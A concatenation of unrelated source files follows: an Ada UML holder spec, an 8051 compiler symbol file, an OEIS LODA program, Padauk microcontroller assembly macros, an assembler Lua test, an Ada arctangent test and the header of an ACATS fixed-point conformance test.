(Item : AMF.UML.Template_Bindings.UML_Template_Binding_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Template_Parameters.UML_Template_Parameter_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Template_Signatures.UML_Template_Signature_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Templateable_Elements.UML_Templateable_Element_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Time_Intervals.UML_Time_Interval_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Time_Events.UML_Time_Event_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Time_Expressions.UML_Time_Expression_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Transitions.UML_Transition_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Triggers.UML_Trigger_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Types.UML_Type_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Usages.UML_Usage_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Use_Cases.UML_Use_Case_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Value_Specifications.UML_Value_Specification_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Variables.UML_Variable_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Vertexs.UML_Vertex_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Write_Structural_Feature_Actions.UML_Write_Structural_Feature_Action_Access)
return League.Holders.Holder;
end AMF.Internals.Holders.UML_Holders;
|
final/part4a.adb | jutayo23/Microprocessor_Systems | 0 | 17323 | <reponame>jutayo23/Microprocessor_Systems
M:part4a
F:G$putchar$0$0({2}DF,SV:S),Z,0,0,0,0,0
F:G$getchar$0$0({2}DF,SC:S),Z,0,0,0,0,0
F:G$main$0$0({2}DF,SV:S),Z,0,0,0,0,0
F:G$SYSCLK_INIT$0$0({2}DF,SV:S),Z,0,0,0,0,0
F:G$PORT_INIT$0$0({2}DF,SV:S),Z,0,0,0,0,0
F:G$UART0_INIT$0$0({2}DF,SV:S),Z,0,0,0,0,0
F:G$ADC_INIT$0$0({2}DF,SV:S),Z,0,0,0,0,0
F:G$DAC_INIT$0$0({2}DF,SV:S),Z,0,0,0,0,0
F:G$INTERRUPT_INIT$0$0({2}DF,SV:S),Z,0,0,0,0,0
F:G$TIMER_INIT$0$0({2}DF,SV:S),Z,0,0,0,0,0
F:G$MAC_INIT$0$0({2}DF,SV:S),Z,0,0,0,0,0
S:G$start_conversion$0$0({1}SC:S),E,0,0
S:G$dig_val$0$0({2}SI:U),E,0,0
S:Lpart4a.main$adcValH$1$29({5}DA5d,SC:U),E,0,0
S:Lpart4a.main$adcValL$1$29({5}DA5d,SC:U),E,0,0
S:Lpart4a.main$result$1$29({2}SI:U),R,0,0,[r6,r7]
S:Lpart4a.main$results$1$29({4}DA2d,SI:U),E,0,0
S:Lpart4a.main$analogval$1$29({2}SI:U),R,0,0,[]
S:Lpart4a.main$analoghi$1$29({1}SC:U),R,0,0,[r4]
S:Lpart4a.main$analoglow$1$29({1}SC:U),R,0,0,[r5]
S:Lpart4a.main$VREF$1$29({4}SF:S),R,0,0,[]
S:G$P0$0$0({1}SC:U),I,0,0
S:G$SP$0$0({1}SC:U),I,0,0
S:G$DPL$0$0({1}SC:U),I,0,0
S:G$DPH$0$0({1}SC:U),I,0,0
S:G$SFRPAGE$0$0({1}SC:U),I,0,0
S:G$SFRNEXT$0$0({1}SC:U),I,0,0
S:G$SFRLAST$0$0({1}SC:U),I,0,0
S:G$PCON$0$0({1}SC:U),I,0,0
S:G$P1$0$0({1}SC:U),I,0,0
S:G$P2$0$0({1}SC:U),I,0,0
S:G$IE$0$0({1}SC:U),I,0,0
S:G$P3$0$0({1}SC:U),I,0,0
S:G$PSBANK$0$0({1}SC:U),I,0,0
S:G$IP$0$0({1}SC:U),I,0,0
S:G$PSW$0$0({1}SC:U),I,0,0
S:G$ACC$0$0({1}SC:U),I,0,0
S:G$EIE1$0$0({1}SC:U),I,0,0
S:G$EIE2$0$0({1}SC:U),I,0,0
S:G$B$0$0({1}SC:U),I,0,0
S:G$EIP1$0$0({1}SC:U),I,0,0
S:G$EIP2$0$0({1}SC:U),I,0,0
S:G$WDTCN$0$0({1}SC:U),I,0,0
S:G$TCON$0$0({1}SC:U),I,0,0
S:G$TMOD$0$0({1}SC:U),I,0,0
S:G$TL0$0$0({1}SC:U),I,0,0
S:G$TL1$0$0({1}SC:U),I,0,0
S:G$TH0$0$0({1}SC:U),I,0,0
S:G$TH1$0$0({1}SC:U),I,0,0
S:G$CKCON$0$0({1}SC:U),I,0,0
S:G$PSCTL$0$0({1}SC:U),I,0,0
S:G$SSTA0$0$0({1}SC:U),I,0,0
S:G$SCON0$0$0({1}SC:U),I,0,0
S:G$SCON$0$0({1}SC:U),I,0,0
S:G$SBUF0$0$0({1}SC:U),I,0,0
S:G$SBUF$0$0({1}SC:U),I,0,0
S:G$SPI0CFG$0$0({1}SC:U),I,0,0
S:G$SPI0DAT$0$0({1}SC:U),I,0,0
S:G$SPI0CKR$0$0({1}SC:U),I,0,0
S:G$EMI0TC$0$0({1}SC:U),I,0,0
S:G$EMI0CN$0$0({1}SC:U),I,0,0
S:G$_XPAGE$0$0({1}SC:U),I,0,0
S:G$EMI0CF$0$0({1}SC:U),I,0,0
S:G$SADDR0$0$0({1}SC:U),I,0,0
S:G$FLSCL$0$0({1}SC:U),I,0,0
S:G$SADEN0$0$0({1}SC:U),I,0,0
S:G$AMX0CF$0$0({1}SC:U),I,0,0
S:G$AMX0SL$0$0({1}SC:U),I,0,0
S:G$ADC0CF$0$0({1}SC:U),I,0,0
S:G$ADC0L$0$0({1}SC:U),I,0,0
S:G$ADC0H$0$0({1}SC:U),I,0,0
S:G$SMB0CN$0$0({1}SC:U),I,0,0
S:G$SMB0STA$0$0({1}SC:U),I,0,0
S:G$SMB0DAT$0$0({1}SC:U),I,0,0
S:G$SMB0ADR$0$0({1}SC:U),I,0,0
S:G$ADC0GTL$0$0({1}SC:U),I,0,0
S:G$ADC0GTH$0$0({1}SC:U),I,0,0
S:G$ADC0LTL$0$0({1}SC:U),I,0,0
S:G$ADC0LTH$0$0({1}SC:U),I,0,0
S:G$TMR2CN$0$0({1}SC:U),I,0,0
S:G$TMR2CF$0$0({1}SC:U),I,0,0
S:G$RCAP2L$0$0({1}SC:U),I,0,0
S:G$RCAP2H$0$0({1}SC:U),I,0,0
S:G$TMR2L$0$0({1}SC:U),I,0,0
S:G$TL2$0$0({1}SC:U),I,0,0
S:G$TMR2H$0$0({1}SC:U),I,0,0
S:G$TH2$0$0({1}SC:U),I,0,0
S:G$SMB0CR$0$0({1}SC:U),I,0,0
S:G$REF0CN$0$0({1}SC:U),I,0,0
S:G$DAC0L$0$0({1}SC:U),I,0,0
S:G$DAC0H$0$0({1}SC:U),I,0,0
S:G$DAC0CN$0$0({1}SC:U),I,0,0
S:G$PCA0CN$0$0({1}SC:U),I,0,0
S:G$PCA0MD$0$0({1}SC:U),I,0,0
S:G$PCA0CPM0$0$0({1}SC:U),I,0,0
S:G$PCA0CPM1$0$0({1}SC:U),I,0,0
S:G$PCA0CPM2$0$0({1}SC:U),I,0,0
S:G$PCA0CPM3$0$0({1}SC:U),I,0,0
S:G$PCA0CPM4$0$0({1}SC:U),I,0,0
S:G$PCA0CPM5$0$0({1}SC:U),I,0,0
S:G$PCA0CPL5$0$0({1}SC:U),I,0,0
S:G$PCA0CPH5$0$0({1}SC:U),I,0,0
S:G$ADC0CN$0$0({1}SC:U),I,0,0
S:G$PCA0CPL2$0$0({1}SC:U),I,0,0
S:G$PCA0CPH2$0$0({1}SC:U),I,0,0
S:G$PCA0CPL3$0$0({1}SC:U),I,0,0
S:G$PCA0CPH3$0$0({1}SC:U),I,0,0
S:G$PCA0CPL4$0$0({1}SC:U),I,0,0
S:G$PCA0CPH4$0$0({1}SC:U),I,0,0
S:G$RSTSRC$0$0({1}SC:U),I,0,0
S:G$SPI0CN$0$0({1}SC:U),I,0,0
S:G$PCA0L$0$0({1}SC:U),I,0,0
S:G$PCA0H$0$0({1}SC:U),I,0,0
S:G$PCA0CPL0$0$0({1}SC:U),I,0,0
S:G$PCA0CPH0$0$0({1}SC:U),I,0,0
S:G$PCA0CPL1$0$0({1}SC:U),I,0,0
S:G$PCA0CPH1$0$0({1}SC:U),I,0,0
S:G$CPT0CN$0$0({1}SC:U),I,0,0
S:G$CPT0MD$0$0({1}SC:U),I,0,0
S:G$SCON1$0$0({1}SC:U),I,0,0
S:G$SBUF1$0$0({1}SC:U),I,0,0
S:G$TMR3CN$0$0({1}SC:U),I,0,0
S:G$TMR3CF$0$0({1}SC:U),I,0,0
S:G$RCAP3L$0$0({1}SC:U),I,0,0
S:G$RCAP3H$0$0({1}SC:U),I,0,0
S:G$TMR3L$0$0({1}SC:U),I,0,0
S:G$TMR3H$0$0({1}SC:U),I,0,0
S:G$DAC1L$0$0({1}SC:U),I,0,0
S:G$DAC1H$0$0({1}SC:U),I,0,0
S:G$DAC1CN$0$0({1}SC:U),I,0,0
S:G$CPT1CN$0$0({1}SC:U),I,0,0
S:G$CPT1MD$0$0({1}SC:U),I,0,0
S:G$AMX2CF$0$0({1}SC:U),I,0,0
S:G$AMX2SL$0$0({1}SC:U),I,0,0
S:G$ADC2CF$0$0({1}SC:U),I,0,0
S:G$ADC2$0$0({1}SC:U),I,0,0
S:G$ADC2GT$0$0({1}SC:U),I,0,0
S:G$ADC2LT$0$0({1}SC:U),I,0,0
S:G$TMR4CN$0$0({1}SC:U),I,0,0
S:G$TMR4CF$0$0({1}SC:U),I,0,0
S:G$RCAP4L$0$0({1}SC:U),I,0,0
S:G$RCAP4H$0$0({1}SC:U),I,0,0
S:G$TMR4L$0$0({1}SC:U),I,0,0
S:G$TMR4H$0$0({1}SC:U),I,0,0
S:G$ADC2CN$0$0({1}SC:U),I,0,0
S:G$MAC0BL$0$0({1}SC:U),I,0,0
S:G$MAC0BH$0$0({1}SC:U),I,0,0
S:G$MAC0ACC0$0$0({1}SC:U),I,0,0
S:G$MAC0ACC1$0$0({1}SC:U),I,0,0
S:G$MAC0ACC2$0$0({1}SC:U),I,0,0
S:G$MAC0ACC3$0$0({1}SC:U),I,0,0
S:G$MAC0OVR$0$0({1}SC:U),I,0,0
S:G$MAC0STA$0$0({1}SC:U),I,0,0
S:G$MAC0AL$0$0({1}SC:U),I,0,0
S:G$MAC0AH$0$0({1}SC:U),I,0,0
S:G$MAC0CF$0$0({1}SC:U),I,0,0
S:G$MAC0RNDL$0$0({1}SC:U),I,0,0
S:G$MAC0RNDH$0$0({1}SC:U),I,0,0
S:G$FLSTAT$0$0({1}SC:U),I,0,0
S:G$PLL0CN$0$0({1}SC:U),I,0,0
S:G$OSCICN$0$0({1}SC:U),I,0,0
S:G$OSCICL$0$0({1}SC:U),I,0,0
S:G$OSCXCN$0$0({1}SC:U),I,0,0
S:G$PLL0DIV$0$0({1}SC:U),I,0,0
S:G$PLL0MUL$0$0({1}SC:U),I,0,0
S:G$PLL0FLT$0$0({1}SC:U),I,0,0
S:G$SFRPGCN$0$0({1}SC:U),I,0,0
S:G$CLKSEL$0$0({1}SC:U),I,0,0
S:G$CCH0MA$0$0({1}SC:U),I,0,0
S:G$P4MDOUT$0$0({1}SC:U),I,0,0
S:G$P5MDOUT$0$0({1}SC:U),I,0,0
S:G$P6MDOUT$0$0({1}SC:U),I,0,0
S:G$P7MDOUT$0$0({1}SC:U),I,0,0
S:G$CCH0CN$0$0({1}SC:U),I,0,0
S:G$CCH0TN$0$0({1}SC:U),I,0,0
S:G$CCH0LC$0$0({1}SC:U),I,0,0
S:G$P0MDOUT$0$0({1}SC:U),I,0,0
S:G$P1MDOUT$0$0({1}SC:U),I,0,0
S:G$P2MDOUT$0$0({1}SC:U),I,0,0
S:G$P3MDOUT$0$0({1}SC:U),I,0,0
S:G$P1MDIN$0$0({1}SC:U),I,0,0
S:G$FLACL$0$0({1}SC:U),I,0,0
S:G$P4$0$0({1}SC:U),I,0,0
S:G$P5$0$0({1}SC:U),I,0,0
S:G$XBR0$0$0({1}SC:U),I,0,0
S:G$XBR1$0$0({1}SC:U),I,0,0
S:G$XBR2$0$0({1}SC:U),I,0,0
S:G$P6$0$0({1}SC:U),I,0,0
S:G$P7$0$0({1}SC:U),I,0,0
S:G$TMR0$0$0({2}SI:U),I,0,0
S:G$TMR1$0$0({2}SI:U),I,0,0
S:G$TMR2$0$0({2}SI:U),I,0,0
S:G$RCAP2$0$0({2}SI:U),I,0,0
S:G$ADC0$0$0({2}SI:U),I,0,0
S:G$ADC0GT$0$0({2}SI:U),I,0,0
S:G$ADC0LT$0$0({2}SI:U),I,0,0
S:G$DAC0$0$0({2}SI:U),I,0,0
S:G$PCA0$0$0({2}SI:U),I,0,0
S:G$PCA0CP0$0$0({2}SI:U),I,0,0
S:G$PCA0CP1$0$0({2}SI:U),I,0,0
S:G$PCA0CP2$0$0({2}SI:U),I,0,0
S:G$PCA0CP3$0$0({2}SI:U),I,0,0
S:G$PCA0CP4$0$0({2}SI:U),I,0,0
S:G$PCA0CP5$0$0({2}SI:U),I,0,0
S:G$TMR3$0$0({2}SI:U),I,0,0
S:G$RCAP3$0$0({2}SI:U),I,0,0
S:G$DAC1$0$0({2}SI:U),I,0,0
S:G$TMR4$0$0({2}SI:U),I,0,0
S:G$RCAP4$0$0({2}SI:U),I,0,0
S:G$MAC0A$0$0({2}SI:U),I,0,0
S:G$MAC0ACC$0$0({4}SL:U),I,0,0
S:G$MAC0RND$0$0({2}SI:U),I,0,0
S:G$P0_0$0$0({1}SX:U),J,0,0
S:G$P0_1$0$0({1}SX:U),J,0,0
S:G$P0_2$0$0({1}SX:U),J,0,0
S:G$P0_3$0$0({1}SX:U),J,0,0
S:G$P0_4$0$0({1}SX:U),J,0,0
S:G$P0_5$0$0({1}SX:U),J,0,0
S:G$P0_6$0$0({1}SX:U),J,0,0
S:G$P0_7$0$0({1}SX:U),J,0,0
S:G$IT0$0$0({1}SX:U),J,0,0
S:G$IE0$0$0({1}SX:U),J,0,0
S:G$IT1$0$0({1}SX:U),J,0,0
S:G$IE1$0$0({1}SX:U),J,0,0
S:G$TR0$0$0({1}SX:U),J,0,0
S:G$TF0$0$0({1}SX:U),J,0,0
S:G$TR1$0$0({1}SX:U),J,0,0
S:G$TF1$0$0({1}SX:U),J,0,0
S:G$CP0HYN0$0$0({1}SX:U),J,0,0
S:G$CP0HYN1$0$0({1}SX:U),J,0,0
S:G$CP0HYP0$0$0({1}SX:U),J,0,0
S:G$CP0HYP1$0$0({1}SX:U),J,0,0
S:G$CP0FIF$0$0({1}SX:U),J,0,0
S:G$CP0RIF$0$0({1}SX:U),J,0,0
S:G$CP0OUT$0$0({1}SX:U),J,0,0
S:G$CP0EN$0$0({1}SX:U),J,0,0
S:G$CP1HYN0$0$0({1}SX:U),J,0,0
S:G$CP1HYN1$0$0({1}SX:U),J,0,0
S:G$CP1HYP0$0$0({1}SX:U),J,0,0
S:G$CP1HYP1$0$0({1}SX:U),J,0,0
S:G$CP1FIF$0$0({1}SX:U),J,0,0
S:G$CP1RIF$0$0({1}SX:U),J,0,0
S:G$CP1OUT$0$0({1}SX:U),J,0,0
S:G$CP1EN$0$0({1}SX:U),J,0,0
S:G$FLHBUSY$0$0({1}SX:U),J,0,0
S:G$P1_0$0$0({1}SX:U),J,0,0
S:G$P1_1$0$0({1}SX:U),J,0,0
S:G$P1_2$0$0({1}SX:U),J,0,0
S:G$P1_3$0$0({1}SX:U),J,0,0
S:G$P1_4$0$0({1}SX:U),J,0,0
S:G$P1_5$0$0({1}SX:U),J,0,0
S:G$P1_6$0$0({1}SX:U),J,0,0
S:G$P1_7$0$0({1}SX:U),J,0,0
S:G$RI0$0$0({1}SX:U),J,0,0
S:G$RI$0$0({1}SX:U),J,0,0
S:G$TI0$0$0({1}SX:U),J,0,0
S:G$TI$0$0({1}SX:U),J,0,0
S:G$RB80$0$0({1}SX:U),J,0,0
S:G$TB80$0$0({1}SX:U),J,0,0
S:G$REN0$0$0({1}SX:U),J,0,0
S:G$REN$0$0({1}SX:U),J,0,0
S:G$SM20$0$0({1}SX:U),J,0,0
S:G$SM10$0$0({1}SX:U),J,0,0
S:G$SM00$0$0({1}SX:U),J,0,0
S:G$RI1$0$0({1}SX:U),J,0,0
S:G$TI1$0$0({1}SX:U),J,0,0
S:G$RB81$0$0({1}SX:U),J,0,0
S:G$TB81$0$0({1}SX:U),J,0,0
S:G$REN1$0$0({1}SX:U),J,0,0
S:G$MCE1$0$0({1}SX:U),J,0,0
S:G$S1MODE$0$0({1}SX:U),J,0,0
S:G$P2_0$0$0({1}SX:U),J,0,0
S:G$P2_1$0$0({1}SX:U),J,0,0
S:G$P2_2$0$0({1}SX:U),J,0,0
S:G$P2_3$0$0({1}SX:U),J,0,0
S:G$P2_4$0$0({1}SX:U),J,0,0
S:G$P2_5$0$0({1}SX:U),J,0,0
S:G$P2_6$0$0({1}SX:U),J,0,0
S:G$P2_7$0$0({1}SX:U),J,0,0
S:G$EX0$0$0({1}SX:U),J,0,0
S:G$ET0$0$0({1}SX:U),J,0,0
S:G$EX1$0$0({1}SX:U),J,0,0
S:G$ET1$0$0({1}SX:U),J,0,0
S:G$ES0$0$0({1}SX:U),J,0,0
S:G$ES$0$0({1}SX:U),J,0,0
S:G$ET2$0$0({1}SX:U),J,0,0
S:G$EA$0$0({1}SX:U),J,0,0
S:G$P3_0$0$0({1}SX:U),J,0,0
S:G$P3_1$0$0({1}SX:U),J,0,0
S:G$P3_2$0$0({1}SX:U),J,0,0
S:G$P3_3$0$0({1}SX:U),J,0,0
S:G$P3_4$0$0({1}SX:U),J,0,0
S:G$P3_5$0$0({1}SX:U),J,0,0
S:G$P3_6$0$0({1}SX:U),J,0,0
S:G$P3_7$0$0({1}SX:U),J,0,0
S:G$PX0$0$0({1}SX:U),J,0,0
S:G$PT0$0$0({1}SX:U),J,0,0
S:G$PX1$0$0({1}SX:U),J,0,0
S:G$PT1$0$0({1}SX:U),J,0,0
S:G$PS0$0$0({1}SX:U),J,0,0
S:G$PS$0$0({1}SX:U),J,0,0
S:G$PT2$0$0({1}SX:U),J,0,0
S:G$SMBTOE$0$0({1}SX:U),J,0,0
S:G$SMBFTE$0$0({1}SX:U),J,0,0
S:G$AA$0$0({1}SX:U),J,0,0
S:G$SI$0$0({1}SX:U),J,0,0
S:G$STO$0$0({1}SX:U),J,0,0
S:G$STA$0$0({1}SX:U),J,0,0
S:G$ENSMB$0$0({1}SX:U),J,0,0
S:G$BUSY$0$0({1}SX:U),J,0,0
S:G$MAC0N$0$0({1}SX:U),J,0,0
S:G$MAC0SO$0$0({1}SX:U),J,0,0
S:G$MAC0Z$0$0({1}SX:U),J,0,0
S:G$MAC0HO$0$0({1}SX:U),J,0,0
S:G$CPRL2$0$0({1}SX:U),J,0,0
S:G$CT2$0$0({1}SX:U),J,0,0
S:G$TR2$0$0({1}SX:U),J,0,0
S:G$EXEN2$0$0({1}SX:U),J,0,0
S:G$EXF2$0$0({1}SX:U),J,0,0
S:G$TF2$0$0({1}SX:U),J,0,0
S:G$CPRL3$0$0({1}SX:U),J,0,0
S:G$CT3$0$0({1}SX:U),J,0,0
S:G$TR3$0$0({1}SX:U),J,0,0
S:G$EXEN3$0$0({1}SX:U),J,0,0
S:G$EXF3$0$0({1}SX:U),J,0,0
S:G$TF3$0$0({1}SX:U),J,0,0
S:G$CPRL4$0$0({1}SX:U),J,0,0
S:G$CT4$0$0({1}SX:U),J,0,0
S:G$TR4$0$0({1}SX:U),J,0,0
S:G$EXEN4$0$0({1}SX:U),J,0,0
S:G$EXF4$0$0({1}SX:U),J,0,0
S:G$TF4$0$0({1}SX:U),J,0,0
S:G$P4_0$0$0({1}SX:U),J,0,0
S:G$P4_1$0$0({1}SX:U),J,0,0
S:G$P4_2$0$0({1}SX:U),J,0,0
S:G$P4_3$0$0({1}SX:U),J,0,0
S:G$P4_4$0$0({1}SX:U),J,0,0
S:G$P4_5$0$0({1}SX:U),J,0,0
S:G$P4_6$0$0({1}SX:U),J,0,0
S:G$P4_7$0$0({1}SX:U),J,0,0
S:G$P$0$0({1}SX:U),J,0,0
S:G$F1$0$0({1}SX:U),J,0,0
S:G$OV$0$0({1}SX:U),J,0,0
S:G$RS0$0$0({1}SX:U),J,0,0
S:G$RS1$0$0({1}SX:U),J,0,0
S:G$F0$0$0({1}SX:U),J,0,0
S:G$AC$0$0({1}SX:U),J,0,0
S:G$CY$0$0({1}SX:U),J,0,0
S:G$CCF0$0$0({1}SX:U),J,0,0
S:G$CCF1$0$0({1}SX:U),J,0,0
S:G$CCF2$0$0({1}SX:U),J,0,0
S:G$CCF3$0$0({1}SX:U),J,0,0
S:G$CCF4$0$0({1}SX:U),J,0,0
S:G$CCF5$0$0({1}SX:U),J,0,0
S:G$CR$0$0({1}SX:U),J,0,0
S:G$CF$0$0({1}SX:U),J,0,0
S:G$P5_0$0$0({1}SX:U),J,0,0
S:G$P5_1$0$0({1}SX:U),J,0,0
S:G$P5_2$0$0({1}SX:U),J,0,0
S:G$P5_3$0$0({1}SX:U),J,0,0
S:G$P5_4$0$0({1}SX:U),J,0,0
S:G$P5_5$0$0({1}SX:U),J,0,0
S:G$P5_6$0$0({1}SX:U),J,0,0
S:G$P5_7$0$0({1}SX:U),J,0,0
S:G$AD0LJST$0$0({1}SX:U),J,0,0
S:G$AD0WINT$0$0({1}SX:U),J,0,0
S:G$AD0CM0$0$0({1}SX:U),J,0,0
S:G$AD0CM1$0$0({1}SX:U),J,0,0
S:G$AD0BUSY$0$0({1}SX:U),J,0,0
S:G$AD0INT$0$0({1}SX:U),J,0,0
S:G$AD0TM$0$0({1}SX:U),J,0,0
S:G$AD0EN$0$0({1}SX:U),J,0,0
S:G$AD2WINT$0$0({1}SX:U),J,0,0
S:G$AD2CM0$0$0({1}SX:U),J,0,0
S:G$AD2CM1$0$0({1}SX:U),J,0,0
S:G$AD2CM2$0$0({1}SX:U),J,0,0
S:G$AD2BUSY$0$0({1}SX:U),J,0,0
S:G$AD2INT$0$0({1}SX:U),J,0,0
S:G$AD2TM$0$0({1}SX:U),J,0,0
S:G$AD2EN$0$0({1}SX:U),J,0,0
S:G$P6_0$0$0({1}SX:U),J,0,0
S:G$P6_1$0$0({1}SX:U),J,0,0
S:G$P6_2$0$0({1}SX:U),J,0,0
S:G$P6_3$0$0({1}SX:U),J,0,0
S:G$P6_4$0$0({1}SX:U),J,0,0
S:G$P6_5$0$0({1}SX:U),J,0,0
S:G$P6_6$0$0({1}SX:U),J,0,0
S:G$P6_7$0$0({1}SX:U),J,0,0
S:G$SPIEN$0$0({1}SX:U),J,0,0
S:G$TXBMT$0$0({1}SX:U),J,0,0
S:G$NSSMD0$0$0({1}SX:U),J,0,0
S:G$NSSMD1$0$0({1}SX:U),J,0,0
S:G$RXOVRN$0$0({1}SX:U),J,0,0
S:G$MODF$0$0({1}SX:U),J,0,0
S:G$WCOL$0$0({1}SX:U),J,0,0
S:G$SPIF$0$0({1}SX:U),J,0,0
S:G$P7_0$0$0({1}SX:U),J,0,0
S:G$P7_1$0$0({1}SX:U),J,0,0
S:G$P7_2$0$0({1}SX:U),J,0,0
S:G$P7_3$0$0({1}SX:U),J,0,0
S:G$P7_4$0$0({1}SX:U),J,0,0
S:G$P7_5$0$0({1}SX:U),J,0,0
S:G$P7_6$0$0({1}SX:U),J,0,0
S:G$P7_7$0$0({1}SX:U),J,0,0
S:G$_print_format$0$0({2}DF,SI:S),C,0,0
S:G$printf_small$0$0({2}DF,SV:S),C,0,0
S:G$printf$0$0({2}DF,SI:S),C,0,0
S:G$vprintf$0$0({2}DF,SI:S),C,0,0
S:G$sprintf$0$0({2}DF,SI:S),C,0,0
S:G$vsprintf$0$0({2}DF,SI:S),C,0,0
S:G$puts$0$0({2}DF,SI:S),C,0,0
S:G$gets$0$0({2}DF,DG,SC:S),C,0,0
S:G$printf_fast$0$0({2}DF,SV:S),C,0,0
S:G$printf_fast_f$0$0({2}DF,SV:S),C,0,0
S:G$printf_tiny$0$0({2}DF,SV:S),C,0,0
|
oeis/090/A090439.asm | neoneye/loda-programs | 11 | 14228 | <gh_stars>10-100
; A090439: Alternating row sums of array A090438 ((4,2)-Stirling2).
; Submitted by <NAME>
; 1,5,37,-887,-168919,-21607859,-2799384755,-337767590383,-11912361112367,21032925955607701,16703816669710968821,10654267957172226744985,6614425802684094455696377,4120103872599589439389105373
mul $0,2
seq $0,62197 ; Row sums of signed triangle A062139 (generalized a=2 Laguerre).
|
pdk.asm | brainsmoke/softpwmpdk | 1 | 82906 |
acc = 0x00
sp = 0x02
clkmd = 0x03
ihrcr = 0x0b
misc = 0x3b
pa = 0x10
pac = 0x11
paph = 0x12
ACC_ZERO_FLAG = 0
CLKMD_ENABLE_ILRC = 1<<2
CLKMD_ENABLE_IHRC = 1<<4
CLKMD_IHRC_DIV2 = 1<<5
CLKMD_IHRC_DIV4 = 0
CLKMD_IHRC_DIV8 = (1<<5) | (1<<3)
CLKMD_IHRC_DIV16 = (0<<5) | (1<<3)
TYPE_IHRC = 1
MISC_16384 = 2
CLKMD_ENABLE_WATCHDOG = 1<<1
.macro clock_8mhz
mov a, #(CLKMD_ENABLE_ILRC|CLKMD_ENABLE_IHRC|CLKMD_IHRC_DIV2)
mov clkmd, a
.endm
.macro clock_4mhz
mov a, #(CLKMD_ENABLE_ILRC|CLKMD_ENABLE_IHRC|CLKMD_IHRC_DIV4)
mov clkmd, a
.endm
.macro clock_2mhz
mov a, #(CLKMD_ENABLE_ILRC|CLKMD_ENABLE_IHRC|CLKMD_IHRC_DIV8)
mov clkmd, a
.endm
.macro clock_1mhz
mov a, #(CLKMD_ENABLE_ILRC|CLKMD_ENABLE_IHRC|CLKMD_IHRC_DIV16)
mov clkmd, a
.endm
.macro watchdog_enable
mov a, #MISC_16384
mov misc, a
mov a, #CLKMD_ENABLE_WATCHDOG
xor clkmd, a
.endm
; filler pattern that will be replaced with calibration code by the easypdk programmer
.macro easypdk_calibrate frequency, millivolt
.irp b, 'R', 'C', TYPE_IHRC, frequency, frequency>>8, frequency>>16, frequency>>24, millivolt, millivolt>>8, ihrcr
and a, #b
.endm
.endm
|
tests/lua_examples/trivial/lua_set_slot.asm | fengjixuchui/sjasmplus | 220 | 171445 | <reponame>fengjixuchui/sjasmplus
DEVICE none
lua
-- warning because no device is set
assert(not sj.set_slot(1))
endlua
DEVICE zxspectrum128
ORG 0x8000
ASSERT 2 == $$ ; slot 2 should be at default page 2
lua
assert(not sj.set_slot(4))
endlua
lua
assert(not sj.set_slot(-1))
endlua
lua allpass
assert(sj.set_slot(2))
endlua
PAGE 6
ASSERT 6 == $$ ; slot 2 should be active by lua script => page 6 there
lua pass3 ; wrong arguments
sj.set_slot(1, 2)
endlua
|
tests/atan2/src/main.adb | TUM-EI-RCS/StratoX | 12 | 12328 | <reponame>TUM-EI-RCS/StratoX<gh_stars>10-100
with Ada.Text_IO; use Ada.Text_IO;
with Ada.Numerics.Elementary_Functions; use Ada.Numerics.Elementary_Functions;
procedure main with SPARK_Mode is
Y, X, angle : Float;
dt : constant Float := 0.5;
begin
for kx in Integer range -10 .. 10 loop
X := Float(kx) * dt;
for ky in Integer range -10 .. 10 loop
Y := Float(ky) * dt;
if X /= 0.0 or Y /= 0.0 then
angle := Arctan (Y => Y, X => X);
Put_Line (Y'Img & "," & X'Img & "," & angle'Img);
end if;
end loop;
end loop;
end main;
|
public/wintab/wintabx/pkthkex.asm | SmileyAG/cstrike15_src | 2 | 245765 | include xlibproc.inc
include Wintab.inc
PROC_TEMPLATE WTMgrPacketHookEx, 6, Wintab, -, 203
|
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/c4/c45651a.ada | best08618/asylo | 7 | 13459 | <reponame>best08618/asylo
-- C45651A.ADA
-- Grant of Unlimited Rights
--
-- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687,
-- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained
-- unlimited rights in the software and documentation contained herein.
-- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making
-- this public release, the Government intends to confer upon all
-- recipients unlimited rights equal to those held by the Government.
-- These rights include rights to use, duplicate, release or disclose the
-- released technical data and computer software in whole or in part, in
-- any manner and for any purpose whatsoever, and to have or permit others
-- to do so.
--
-- DISCLAIMER
--
-- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR
-- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED
-- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE
-- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE
-- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A
-- PARTICULAR PURPOSE OF SAID MATERIAL.
--*
-- OBJECTIVE:
-- FOR FIXED POINT TYPES, CHECK:
-- (A) FOR MODEL NUMBERS A >= 0.0, THAT ABS A = A.
-- (B) FOR MODEL NUMBERS A <= 0.0. THAT ABS A = -A.
-- (C) FOR NON-MODEL NUMBERS A > 0.0, THAT ABS A VALUES ARE
-- WITHIN THE APPROPRIATE MODEL INTERVAL.
-- (D) FOR NON-MODEL NUMBERS A < 0.0, THAT ABS A VALUES ARE
-- WITHIN THE APPROPRIATE MODEL INTERVAL.
-- CASE A: BASIC TYPES THAT FIT THE CHARACTERISTICS OF
-- DURATION'BASE.
-- HISTORY:
